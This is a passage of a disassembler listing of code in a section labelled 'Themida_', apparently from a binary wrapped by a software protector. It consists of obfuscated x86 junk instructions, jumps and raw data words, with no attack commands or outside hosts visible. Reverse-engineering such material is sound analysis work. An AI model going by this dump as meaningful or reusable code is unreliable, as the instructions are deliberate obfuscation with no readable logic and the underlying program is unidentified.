XREF: Themida_:005508A6j pop ebp jmp loc_550B90 ; --------------------------------------------------------------------------- loc_5461CE: ; CODE XREF: Themida_:0054B27Dj add ch, 0FFh push eax push ecx mov ch, 95h mov ah, 4Ah xor ah, ch pop ecx add ch, 31h add ch, ah sub ch, 31h push dword ptr [esp] jmp loc_557124 ; --------------------------------------------------------------------------- dw 505Fh dd 7A5563B8h, 0F7D0F713h, 0D1D0F7D0h, 6A9B05E0h, 0B054E92h dd 29550047h, 0CB03E9C2h, 52660000h, 81E78957h, 4C7h, 4EF8100h dd 87000000h, 248B243Ch, 1510E924h, 0E1E90001h, 81FFFFC4h dd 1B242AC1h, 9FC18154h, 5F58F268h, 13D268h, 24148900h dd 0E0328B68h, 24148B44h, 4C481h, 0EA810000h, 44E03287h dd 0E95AD101h, 0FFFFD7CDh, 0E95BD831h, 0C4B6h, 0E5268h dd 24248900h, 9BBE5652h, 0BA423E15h, 0C5B8ED2Ch, 0B37BE9h dd 6976B900h, 0C80142F8h, 81240C8Bh, 4C4h, 0B685E00h, 8900006Eh dd 0E955243Ch, 9621h ; --------------------------------------------------------------------------- loc_54629C: ; CODE XREF: Themida_:0054C443j add esp, 4 push esi jmp loc_5480BA ; --------------------------------------------------------------------------- db 83h, 0C6h, 4 dd 2474FF56h, 2434FF04h, 0E389535Eh, 4C381h, 0BD550000h dd 4, 335DEB01h, 1C31241Ch, 241C3324h, 24048F5Ch, 4E7C05Ch dd 704268h, 240C8900h, 0EF30CDB5h, 1ED5E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5462E6: ; CODE XREF: Themida_:00546F7Aj push dword ptr [esp] pop eax push esi jmp loc_553E3A ; --------------------------------------------------------------------------- dd 4C281h, 2FE90000h, 0B1000050h, 0E59EE906h, 23B1FFFFh dd 8B66C828h, 0C483240Ch, 4EC8102h, 89000000h, 0EC81241Ch dd 4, 0B4240489h, 0E96BB7A4h, 6B4Dh, 246C015Bh, 9FD8E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546332: ; CODE XREF: Themida_:005537BAj add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg eax, ebx dec eax or eax, 7BF27D8h push ecx mov ecx, 47B86A0Eh sub ecx, 24D5FC8Ah xor ecx, 1F595AA1h shr ecx, 8 not ecx inc ecx xor ecx, 0E7BC5C44h add eax, ecx jmp loc_54C9AC ; --------------------------------------------------------------------------- db 1 dd 4E4C05C8h, 0E9595278h, 5D2Bh ; --------------------------------------------------------------------------- loc_546378: ; CODE XREF: Themida_:00556B9Bj mov esi, 70207Dh sub ecx, esi pop esi push 7BADh mov [esp], ebp jmp loc_54C319 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0F6h dd 81489C01h, 72DBEDC7h, 0E9FB2947h, 10091h, 0C83073B0h dd 0F909E9h, 37BEBE00h, 5E920A8h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5463B3: ; CODE XREF: Themida_:00542C96j shl ecx, 1 add ecx, 0FFFFFFFFh neg ecx shl ecx, 8 or ecx, 5CC854F6h jmp loc_548BB9 ; --------------------------------------------------------------------------- dd 68665859h, 89666E5Bh, 0EC832414h, 241C8904h, 3AF5E9h db 0 ; --------------------------------------------------------------------------- loc_5463DD: ; CODE XREF: Themida_:00546EEFj push edx mov edx, 4 add ebp, edx pop edx add ebp, 4 jmp loc_54F014 ; --------------------------------------------------------------------------- dw 159h dd 5A042454h, 0FFC313E9h, 50464EFFh, 0FFFFFFB8h, 0E9C601FFh dd 7B26h, 5966E828h, 8B661704h, 0C4832414h, 0DC5BE902h dd 8B54FFFFh, 0D4E9242Ch db 0CEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546423: ; CODE XREF: Themida_:0054EB13j pop esi jmp loc_545409 ; --------------------------------------------------------------------------- db 0D2h, 0Ch, 24h dd 0C2DAE99Ch, 0FF5CFFFFh, 8FE92434h db 0CDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54643B: ; CODE XREF: Themida_:00545698j shr edx, 7 jmp loc_543945 ; --------------------------------------------------------------------------- db 81h dd 0FFFFFFEBh, 4EC81FFh, 0E9000000h, 28D2h, 5C24048Fh dd 24148966h, 0E99C5066h, 0FFFFC2A8h, 0C003EDC0h, 0E5C003E5h dd 19F58008h, 0ADA5E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546476: ; CODE XREF: Themida_:0054318Bj mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5532AB ; --------------------------------------------------------------------------- loc_54648A: ; CODE XREF: Themida_:00544402j mov ebp, 4 add esi, ebp pop ebp jmp loc_545D59 ; --------------------------------------------------------------------------- db 5Ch dd 0FFFFBF57h, 0EE81FFFFh, 59AF16DFh, 0F11EE9h, 0A2B85000h dd 935EA53h, 24048BC7h, 8104C483h, 0FB7FADF7h, 27EA81FDh dd 15A0B2Eh, 27C281FAh, 5F5A0B2Eh, 0B1B3E9h db 0 ; --------------------------------------------------------------------------- loc_5464D1: ; CODE XREF: Themida_:005453B7j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5535E3 ; --------------------------------------------------------------------------- dw 0B450h dd 0FFC48072h, 0D5F6EC86h, 28C9E9h db 0 ; --------------------------------------------------------------------------- loc_5464F5: ; CODE XREF: Themida_:00548004j sub esi, ebp add esi, 2909741Ch pop ebp add edx, esi push dword ptr [esp] pop esi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esi, 6C761397h add esi, edx jmp loc_5509BA ; --------------------------------------------------------------------------- a_iS db '_‰Ú[)Ðé!³',0 dw 8300h dd 0C78304C4h, 243C8702h, 48B665Ch, 0E6895624h, 4C681h dd 0EE810000h, 4, 5C243487h, 0E9243489h, 0FFFFFD0Ch, 0EB81F301h dd 47B55B3Fh, 7464EB81h, 0E95E00E7h, 8175h, 1CA8C381h dd 0DE89BEC7h, 5EF3015Bh, 0FFCB3EE9h, 93B050FFh, 0A0E9C0FEh dd 0E9FFFFD6h, 0FFFFC180h, 39F5E958h, 89570000h, 5FFA89C7h dd 582434FFh, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 732A68h dd 240C8900h, 3A33E9h, 242C8900h, 4BDh, 4B85000h, 1003078h dd 92E958C3h, 8B0000B9h, 0C483241Ch, 0DFF38104h, 0E95EE900h dd 0FFFFEF71h ; --------------------------------------------------------------------------- loc_5465E0: ; CODE XREF: Themida_:0055437Cj add esp, 4 push edx mov dl, bh mov [ecx], dl pop edx push dword ptr [esp] pop ebx jmp loc_54AA55 ; --------------------------------------------------------------------------- dw 0E95Dh dd 0F608h, 0AAE9DEF7h, 8900005Bh, 1268241Ch, 8900004Dh dd 0E9512424h, 0FFFFD030h ; --------------------------------------------------------------------------- loc_546610: ; CODE XREF: Themida_:0054A0B5j add dh, cl jmp loc_542B30 ; --------------------------------------------------------------------------- loc_546617: ; CODE XREF: Themida_:00552CB4j shr edx, 1 jmp loc_549649 ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 9C240418h, 0FFC0DFE9h, 4C483FFh, 0FFFE1FE9h db 0FFh ; --------------------------------------------------------------------------- loc_546635: ; CODE XREF: Themida_:005483B7j push esp pop eax add eax, 4 push edx push 4 pop edx add eax, edx pop edx jmp loc_54ADD4 ; --------------------------------------------------------------------------- db 2Ch dd 49F8E940h, 9CBE0000h, 0F77AB84Bh, 84CE81D6h, 0E96FFD59h dd 0FFFFCC5Ah, 815AD631h, 0CF35F7E6h, 0E7C6816Eh, 8107D635h dd 83C87F6h, 9CB3E93Bh, 0C4830000h, 0D40BE904h, 2680000h dd 0E9000048h, 72ADh, 0C104EEC1h, 0F68106E6h, 58AC7951h dd 0E95EF129h, 3AABh, 815AD601h, 4EEh, 0F8E95100h, 8700005Ch dd 895C243Ch, 0E9552404h, 0C222h, 2A1DC381h, 0C38148D6h dd 0D63E233Bh, 4A95E9h, 0C4815B00h, 4, 0FF2434FFh, 34FF2434h dd 0C4815824h, 4, 4C481h, 89510000h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 0FFCCADE9h db 0FFh ; --------------------------------------------------------------------------- loc_546705: ; CODE XREF: Themida_:00555187j pop edx jmp loc_55367C ; --------------------------------------------------------------------------- db 5Bh dd 8B24048Fh, 1662424h, 0E99C2404h, 0FFFFBFF0h, 42474FFh dd 24048F5Bh, 243C895Ch, 4084BA52h, 4DBF25FDh, 143B5F5h dd 0DB2CE9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54673A: ; CODE XREF: Themida_:0054DC03j xchg edx, [esp] pop esp mov [esp], ax jmp loc_552D51 ; --------------------------------------------------------------------------- db 81h dd 8002BCEDh, 54E2E966h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546752: ; CODE XREF: Themida_:00543784j add dword ptr [ebx], 1 pop ebx pop ecx pop ebx loc_54675B: ; CODE XREF: Themida_:005467C5j push esi push 1219h mov [esp], eax jmp loc_54E940 ; --------------------------------------------------------------------------- loc_546769: ; CODE XREF: Themida_:00552F2Dj mov edi, [esp] jmp loc_54A8B1 ; --------------------------------------------------------------------------- db 58h, 52h, 0FFh dd 5A042474h, 8B24048Fh, 14892424h, 0E98EB224h, 0A3A3h dd 4C7815Fh, 0E9000000h, 4551h, 83240C8Bh, 6A2D04C4h, 573D195Ah dd 333224BFh, 0CC9EE915h, 0BD55FFFFh, 69ED63E5h, 75CD8145h dd 51745866h, 4EC81h, 9BE90000h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5467C3: ; CODE XREF: Themida_:0054984Ej or eax, eax jz loc_54675B push dword ptr [edi+1Ch] jmp loc_54C3A3 ; --------------------------------------------------------------------------- db 58h dd 4EC81h, 2C890000h, 56E58924h, 4BEh, 0E9F50100h, 0C491h dd 4A02EAC1h, 5A39EA81h, 0EAD17F1Ch, 46A7EA81h, 79E9F5B3h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546803: ; CODE XREF: Themida_:0054E638j add esp, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_550399 ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 4BB5300h, 1000000h, 0C875BD9h, 5E6AE924h dd 0C4810000h, 4, 5152D828h, 0D5F669B5h, 8003EDC0h, 84E974E5h dd 8300009Dh, 15E904C6h, 0FE00010Fh, 4C8FEC8h, 0EB58E974h dd 34FF0000h, 5720E924h, 34890000h, 81E68924h, 4C6h, 4BF5700h dd 0E9000000h, 0AD88h, 4C481h, 0CCE90000h, 0F7FFFFEAh dd 67C281DAh, 8123F73Eh, 8A4F33CAh, 0F7DA8772h, 81DA87D3h dd 71768BC2h, 5AD52959h, 83E8E9h db 0 ; --------------------------------------------------------------------------- loc_5468A9: ; CODE XREF: Themida_:005560A0j xchg ebp, [esp] pop esp pop dword ptr [edi+24h] loc_5468B0: ; CODE XREF: Themida_:0054A192j push edi push 6BEBh jmp loc_543D55 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 8924248Bh, 14B82404h dd 0E9471E16h, 0FFCFh, 295DEB89h, 34875BDEh, 24248B24h dd 1F82E9h db 0 ; --------------------------------------------------------------------------- loc_5468ED: ; CODE XREF: Themida_:0055718Fj add esp, 4 xor edx, 40166C03h pop ebp push esi jmp loc_54967B ; --------------------------------------------------------------------------- dd 158C789h, 0E9525FFAh, 0A097h, 81240C8Bh, 4C4h, 0E569E900h dd 0C5810000h, 4, 4C581h, 2C870000h, 0ACE95C24h, 89000105h dd 7E956E5h, 89000067h, 9DB82404h, 0BD3FD971h, 0ACFFBE63h dd 4641E9h, 0BDBEE900h, 5152FFFFh, 0EDC090B5h, 0FED5F605h dd 0ADB652CDh, 8069EE80h, 0E68084EEh, 0EFD6E9E4h, 0D6010000h dd 0C630E95Ah, 0BB530000h, 13F6622Bh, 0B8E9DA29h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54697F: ; CODE XREF: Themida_:0054E8FDj not ebp xchg ebp, esi not esi push ebx mov ebx, 0EA97D1D0h add esi, ebx mov ebx, [esp] add esp, 4 jmp loc_54D38C ; --------------------------------------------------------------------------- dd 0FE9EB652h, 5F89E9CEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5469A2: ; CODE XREF: Themida_:00552BB5j push ecx push ebp push 44F66A57h mov ebp, [esp] add esp, 4 sub ebp, 0CEB2366Dh mov ecx, ebp pop ebp push 56EDh mov [esp], edx mov edx, 231E7D15h neg edx push ebp mov ebp, 53D7FE9h and edx, ebp jmp loc_55555C ; --------------------------------------------------------------------------- aWs db 'Wé~·',0 db 0 ; --------------------------------------------------------------------------- loc_5469DD: ; CODE XREF: Themida_:0054B448j push eax push ebx push edx mov edx, 20CD73A9h neg edx shr edx, 1 or edx, 0FCC4BC1h dec edx jmp loc_5524A2 ; --------------------------------------------------------------------------- db 52h, 66h, 0BAh dd 4266064Fh, 1CC28166h, 0EAC16675h, 0F2816604h, 81665A01h dd 660DAECAh, 7AD1EA81h, 5AD02966h, 0C2896652h, 5AD78966h dd 0CEA5E9h, 4EC8100h, 89000000h, 87E9241Ch, 50FFFFECh dd 405E089h, 0E9000000h, 12F5h, 43B85056h, 0BE551A50h dd 8E05CC8h, 65E9C631h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546A53: ; CODE XREF: Themida_:00553A49j mov esp, [esp] jmp loc_5571B4 ; --------------------------------------------------------------------------- loc_546A5B: ; CODE XREF: Themida_:0055638Ej sub ebx, 366430E8h add ebx, edi jmp loc_54AC90 ; --------------------------------------------------------------------------- loc_546A68: ; CODE XREF: Themida_:00548A77j or eax, eax jz loc_5519AA push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_54ADEC ; --------------------------------------------------------------------------- db 5Ch dd 81F4E9h, 4C28300h, 0E9241487h, 1D69h ; --------------------------------------------------------------------------- loc_546A8C: ; CODE XREF: Themida_:005578F0j xor esi, ecx mov ecx, [esp] push ecx mov ecx, esp push eax mov eax, 44C44834h dec eax shl eax, 1 jmp loc_5517B9 ; --------------------------------------------------------------------------- dw 0BD66h dd 89665AF0h, 0E95D66E8h, 0FFFFFF45h, 4E42E95Ch, 8B540000h dd 0C483242Ch, 5C596804h, 34890000h, 32AFBE24h, 0EE817570h dd 66A264F3h, 4544B951h, 0CE312868h, 81240C8Bh, 4C4h, 68EED100h dd 7DFAh, 1054EE9h, 281B0400h, 0EB02E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546AF6: ; CODE XREF: Themida_:0054C314j push eax mov eax, esp jmp loc_550E5A ; --------------------------------------------------------------------------- dw 148Bh dd 0FD2CE924h, 0E789FFFFh, 4C781h, 0A1E90000h, 1FFFFC2h dd 0EC8353D1h, 24348904h, 4FBEE9h, 4C18100h, 83000000h dd 0C8704E9h, 4895C24h, 98AE924h, 34FF0001h, 242C8B24h dd 8904EC83h, 8B54241Ch, 0C483241Ch, 67996804h, 4890000h dd 9CF6E924h, 0CB80000h, 5781E1Ah, 1, 269C912Dh, 6E7CE93Ah dd 0E3C10000h, 1CEB8102h, 52407E1Ch, 9CDD17BAh, 5AD3319Dh dd 99E9D801h, 81000010h, 4C4h, 0E0895000h, 405h, 4C08300h dd 5C240487h, 0FF2434FFh, 2C8B2434h, 4C48124h, 83000000h dd 895704C4h, 4EC81E7h, 0E9000000h, 0FFFFF331h, 515266ACh dd 0E9C0DAB1h, 0BFE98002h, 59CE88h, 665A66F0h, 0AF6E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546BD2: ; CODE XREF: Themida_:005579D1j pop eax push ebx mov ebx, 4 add edx, ebx pop ebx xor edx, [esp] xor [esp], edx jmp loc_54DD44 ; --------------------------------------------------------------------------- db 25h dd 2A78495Eh, 0E907E8C1h, 107F5h, 0BB943A2Dh, 58C129CCh dd 0DCFEF181h, 0C1E9839Eh, 55FFFFE5h, 96CDE9h, 8382B200h dd 896602ECh, 0B5512404h, 8EDC089h, 52B7C580h, 0BB868h dd 24048900h, 0E5E951h db 1, 0 ; --------------------------------------------------------------------------- loc_546C2E: ; CODE XREF: Themida_:0054E601j mov [esp], ebp mov ebp, 1B1326B0h push ebp mov ebp, 109A6A5Ch xor ebp, 452C046Ah inc ebp jmp loc_54A36B ; --------------------------------------------------------------------------- loc_546C48: ; CODE XREF: Themida_:0054F8F0j pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_5522E6 ; --------------------------------------------------------------------------- dd 525DE829h, 9B56B868h, 2CE95A1Dh db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546C63: ; CODE XREF: Themida_:0054F3A7j pop bp add bx, bp sub bx, 8D9h pop ebp movzx eax, ax jmp loc_551C97 ; --------------------------------------------------------------------------- dw 0EE83h dd 24348704h, 8924248Bh, 0E2B82404h, 50066B46h, 1240483h dd 14EFE958h, 0C2810000h, 347437B2h, 0EA81EA29h, 347437B2h dd 0E9242C8Bh, 6E74h ; --------------------------------------------------------------------------- loc_546CA8: ; CODE XREF: Themida_:00552111j mov ebp, 4D7A7719h or ebp, 4FF786Fh push 7BE0h mov [esp], ebx mov ebx, 15652631h sub ebx, 18CD31F2h shl ebx, 1 dec ebx xor ebx, 0BCC6839h add ebx, 5B1BFF37h xor ebp, ebx mov ebx, [esp] add esp, 4 add eax, 1B7B4395h add eax, ebp sub eax, 1B7B4395h mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_54AAB2 ; --------------------------------------------------------------------------- loc_546D00: ; CODE XREF: Themida_:00543774j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54E22C ; --------------------------------------------------------------------------- aMh3 db '¬hÚ3',0 dw 8900h dd 0FB7241Ch, 8032B551h, 0E5C055F5h, 8B99E906h, 5C290000h dd 5B5B0824h, 81243C8Bh, 4C4h, 50E95000h, 10000F6h, 24348BF5h dd 8704C483h, 248B242Ch, 0B9B6E924h, 0E95FFFFFh, 10BC1h ; --------------------------------------------------------------------------- loc_546D5C: ; CODE XREF: Themida_:00555DD5j pop edi xchg ebp, [esp] pop esp mov [esp], ebx mov bl, 1Dh shr bl, 3 or bl, 0D3h shl bl, 5 add bl, 3Fh push ecx push 2371h mov [esp], edx mov dh, bl mov cl, dh jmp loc_545908 ; --------------------------------------------------------------------------- dd 0E9A2B252h, 2EFFh, 1C8BD801h, 4C48124h, 50000000h, 0E11BF57h dd 8CB83118h, 1ED6F04h, 0C17DE9F8h, 0D929FFFFh, 81E9015Bh dd 1D3F2AC1h, 45CDE905h, 0C4810000h, 4, 51686853h, 0C15B718Fh dd 0F38108E3h, 50CC7298h, 0AE3BEB81h, 0DA292268h, 5AD0895Bh dd 34FFC189h, 0D3D3E924h, 0E92D0000h, 0E960CE59h, 103B0h dd 8124148Bh, 4C4h, 5211E900h, 0E2890000h, 4C281h, 0EA830000h dd 0D455E904h, 0F742FFFFh, 8E2C1DAh, 0DE6E9h, 59CD2100h dd 0F600C581h, 0EE01FF7Fh, 4933E9h, 4C48300h, 4EC81h, 14890000h dd 4EC8124h, 0E9000000h, 9C0Dh ; --------------------------------------------------------------------------- loc_546E40: ; CODE XREF: Themida_:00544EB1j sub esp, 4 mov [esp], ecx mov ecx, 4 push 53F0h jmp loc_554731 ; --------------------------------------------------------------------------- dd 2434FF54h, 4C4815Ah, 81000000h, 4C2h, 51505700h, 0FE7528B9h dd 9701E901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546E76: ; CODE XREF: Themida_:00552BF5j dec ebp jmp loc_556AC6 ; --------------------------------------------------------------------------- loc_546E7C: ; CODE XREF: Themida_:005513CEj push edi mov edi, 1D4B4B9Dh add esi, edi push dword ptr [esp] pop edi add esp, 4 push esi push dword ptr [esp] pop eax push ecx jmp loc_557079 ; --------------------------------------------------------------------------- db 81h, 0CBh, 0F0h aQRussc9 db '(´',7,'Q¹Ð<àuSé—9',0 db 0 ; --------------------------------------------------------------------------- loc_546EAB: ; CODE XREF: Themida_:00547F6Dj mov ebx, esp add ebx, 4 jmp loc_551775 ; --------------------------------------------------------------------------- dd 0C381DBF7h, 57353F7Ah, 0FFF6A7E9h, 83E959FFh, 55000013h dd 8124348Bh, 4C4h, 242C8B00h, 3104C483h, 2434FFF0h, 82FCE9h dd 0E9C1FE00h, 109ADh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5463DD ; --------------------------------------------------------------------------- dd 4C581h, 2C870000h, 94685C24h, 8900005Bh, 36E9241Ch dd 5F000074h, 0A226E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546F12: ; CODE XREF: Themida_:0055254Bj and eax, 46D94320h sub eax, 4699031Ch add edi, 22977386h jmp loc_554961 ; --------------------------------------------------------------------------- loc_546F27: ; CODE XREF: Themida_:0054A3FFj mov esi, 471A6156h sub eax, esi pop esi jmp loc_545385 ; --------------------------------------------------------------------------- loc_546F34: ; CODE XREF: Themida_:00544F2Cj add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_550988 ; --------------------------------------------------------------------------- dd 398BED81h, 0BF576995h, 6D1B0635h, 2E33E9h, 4C48300h dd 31243433h, 34332434h, 0E06BE924h, 27050000h, 0E9427F0Ah dd 4507h ; --------------------------------------------------------------------------- loc_546F74: ; CODE XREF: Themida_:00548942j mov eax, [esp] add esp, 4 jmp loc_5462E6 ; --------------------------------------------------------------------------- db 83h dd 0BB5304C4h, 4486CF3h, 4BDDF381h, 0C3833F9Dh, 5CC38101h dd 2936DC26h, 0C2815BDAh, 2EF77EE4h, 0EC28E94Ah, 0D801FFFFh dd 0FFCD94E9h, 6D4FBFFFh, 0F82974D1h, 83243C8Bh, 0B32D04C4h dd 5586665h, 229B0FC3h, 746AE925h, 0E7010522h, 7BE95EC2h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546FD3: ; CODE XREF: Themida_:00557635j add edx, 4 jmp loc_5456AE ; --------------------------------------------------------------------------- loc_546FDE: ; CODE XREF: Themida_:00553D3Bj mov edx, [esp] add esp, 4 sub si, 0FFFFh sub esp, 2 mov [esp], si add word ptr [esp], 1 pop si sub si, 5AA5h add dx, si push dword ptr [esp] pop esi add esp, 4 jmp loc_54E66B ; --------------------------------------------------------------------------- loc_54700B: ; CODE XREF: Themida_:005513B6j push edi mov edi, 1FB10920h jmp loc_54F059 ; --------------------------------------------------------------------------- dw 966h dd 0E99C2404h, 0FFFFB6ECh, 21E9FD89h, 8B00001Ah, 0C483240Ch dd 0D9E95B04h, 87FFFFB6h, 665C240Ch, 4816652h, 663B2824h dd 81E95758h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547047: ; CODE XREF: Themida_:005456B5j mov [esp], eax push ecx push dword ptr [esp] jmp loc_556899 ; --------------------------------------------------------------------------- loc_547053: ; CODE XREF: Themida_:005516A3j add ebp, 4 jmp loc_548163 ; --------------------------------------------------------------------------- align 4 dd 0AF5EE9F8h, 5E500000h, 5AE68158h, 684DBD75h, 5426h dd 0B8240489h, 0FFFFFFFFh, 6DF0EE81h, 0C6015A4Bh, 6DF0C681h dd 81585A4Bh, 0A417F3F6h, 0ED9CE905h, 0EF81FFFFh, 35520354h dd 4469E781h, 814F0AE9h, 0A37488CFh, 0C9BBE933h, 0F281FFFFh dd 886EFBA9h, 89D58955h, 242C8BEFh, 0F4CE9h db 0 ; --------------------------------------------------------------------------- loc_5470BD: ; CODE XREF: Themida_:00555074j sub ebx, 0CE62FEA6h push ebx not dword ptr [esp] jmp loc_544611 ; --------------------------------------------------------------------------- loc_5470CC: ; CODE XREF: Themida_:00547E02j jmp loc_54270C ; --------------------------------------------------------------------------- db 2Dh, 0FFh, 3Dh dd 0DD0527B7h, 0E9191482h, 5C53h ; --------------------------------------------------------------------------- loc_5470E0: ; CODE XREF: Themida_:00551C5Fj push eax jmp loc_549BD3 ; --------------------------------------------------------------------------- loc_5470E6: ; CODE XREF: Themida_:005537FDj pop esi add esp, 4 jmp loc_545D70 ; --------------------------------------------------------------------------- dw 0CE80h dd 60E680CCh, 5008EEC0h, 2F2454B0h, 0E902E8C0h, 0A41Dh dd 44E91C2Ch, 83FFFFF7h, 5D042404h, 0DE268h, 24048900h dd 2FA3E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547122: ; CODE XREF: Themida_:0054562Cj add esp, 4 push edi mov edi, 58D935E4h push edx mov edx, 44A82FA7h xor edx, 535871D7h or edi, edx pop edx add edi, 0FFFFFFFFh sub edi, 204D3E96h shr edi, 8 xor edi, 3FAC45h add eax, edi jmp loc_557306 ; --------------------------------------------------------------------------- aIsu db 'Iéî',27h,0 align 4 loc_54715C: ; CODE XREF: Themida_:0054D621j add edx, 0B7306CA4h add eax, edx pop edx push eax pop ebp mov eax, [esp] add esp, 4 add edi, 2BBA2156h jmp loc_5536C4 ; --------------------------------------------------------------------------- db 68h dd 173B71A9h, 0E9DD315Dh, 0FFFFF1A0h, 0AD4DE959h, 24890000h dd 745AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547196: ; CODE XREF: Themida_:005532DAj pop ecx add ecx, 4 add ecx, 4 jmp loc_544E40 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 66FBh, 5C240487h, 83243C89h, 0C8904ECh dd 3F766824h, 0C8B4897h, 4C48124h, 51000000h, 0E92414F7h dd 0B450h, 0F724248Bh, 4EC81F9h, 0E9000000h, 888Dh, 48CBEF81h dd 0EF812787h, 0B0746528h, 2FC7814Fh, 10F8A0Bh, 55535FFEh dd 0F8D2E9h db 0 ; --------------------------------------------------------------------------- loc_547201: ; CODE XREF: Themida_:00549D46j inc edi add edi, 3AF6229h jmp loc_544951 ; --------------------------------------------------------------------------- db 81h, 0EFh, 18h dd 2929167Ch, 18C781DFh, 5B29167Ch, 4BE5658h, 1000000h dd 3C335EF7h, 243C3124h, 287FE9h db 0 ; --------------------------------------------------------------------------- loc_547231: ; CODE XREF: Themida_:00545EE4j mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_54F829 ; --------------------------------------------------------------------------- loc_547248: ; CODE XREF: Themida_:005444B1j add edx, 4 push ebp jmp loc_54D8B8 ; --------------------------------------------------------------------------- dd 0C380C300h, 54E9588Eh db 0BEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54725F: ; CODE XREF: Themida_:0054333Aj xor edi, 30B43106h xor edi, 5B550F9Ch not edi add edi, 7FE3796Dh xor edi, 6B95440Ch jmp loc_5516A0 ; --------------------------------------------------------------------------- dw 0E389h dd 4EC81h, 2C890000h, 68C0E924h, 0EB290000h, 34B7C381h dd 595D46A6h, 558EB850h, 0BB5304D8h, 0FFFFFFFFh, 34FFD829h dd 83E95B24h, 100002Ch, 0F6C281C2h, 0E939D55Bh, 0FFFFB450h dd 81DAF75Ah, 5CE388F2h, 0E9D689D4h, 0D199h, 0BB99E957h dd 0EDC1FFFFh, 0AAED8102h, 8901D346h, 0FB295DEFh, 33C3815Fh dd 1248C14h, 2434FFDEh, 0E089505Bh, 8478E956h, 0E9580000h dd 0FFFFE87Fh ; --------------------------------------------------------------------------- loc_5472FC: ; CODE XREF: Themida_:0054DA26j add ebp, 4 xchg ebp, [esp] jmp loc_54E4E8 ; --------------------------------------------------------------------------- db 0FFh a4Sap db '4$^é',0 align 10h dd 59D5E981h, 0CF017D67h, 2C78359h, 2474FF57h, 48F5F04h dd 24248B24h, 38EDE9h, 0F3815E00h, 74D01154h, 6DEEC381h dd 6CE91B31h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54733F: ; CODE XREF: Themida_:0054508Dj movzx eax, al push edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_55093D ; --------------------------------------------------------------------------- dd 3A356850h, 2D584392h, 2DE4088Ch, 0AE31AD35h, 58C58915h dd 2A48C181h, 28E90A7Ch db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547377: ; CODE XREF: Themida_:005534BEj pop dword ptr [esp] pop esp push dword ptr [esp] jmp loc_544115 ; --------------------------------------------------------------------------- db 81h dd 7073E2C1h, 56F90145h, 82E9E689h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547393: ; CODE XREF: Themida_:00554F26j neg eax shr eax, 5 add eax, 6623EEC1h jmp loc_556F9B ; --------------------------------------------------------------------------- dw 8156h dd 4ECh, 24048900h, 0BD3E3D68h, 0CE35583Ch, 501AF41h, 0C2ED8011h dd 0B3A5E9h, 2BED8000h, 28C0ED80h, 70E959EBh, 0F7000004h dd 19AAE9D2h, 3C330000h, 243C3124h, 5C243C33h, 4468E1F7h dd 8900006Fh, 9C502414h, 0FFB31BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5473F1: ; CODE XREF: Themida_:005485B0j shr bh, 8 inc bh push cx mov cl, 52h sub bh, 0DDh jmp loc_545B09 ; --------------------------------------------------------------------------- aM0S db '¬0Øé~Õ',0 align 2 dw 0D6F7h dd 2414F756h, 9CE815Eh, 55453471h, 917914BDh, 5DEE2942h dd 0A0E9F129h, 81000023h, 0BA2926C2h, 81CA292Bh, 0BA2926EAh dd 240C8B2Bh, 0E904C483h, 0FFFFB9E5h, 148BD588h, 0E2E95124h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54744B: ; CODE XREF: Themida_:00549153j push dword ptr [esp] pop edx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] add [esp+4], ecx push dword ptr [esp] pop ecx sub esp, 4 mov [esp], edx jmp loc_55467C ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 48704C0h, 34FF5C24h, 2434FF24h, 4C48358h dd 0E9E28952h, 0FFFFE8F6h ; 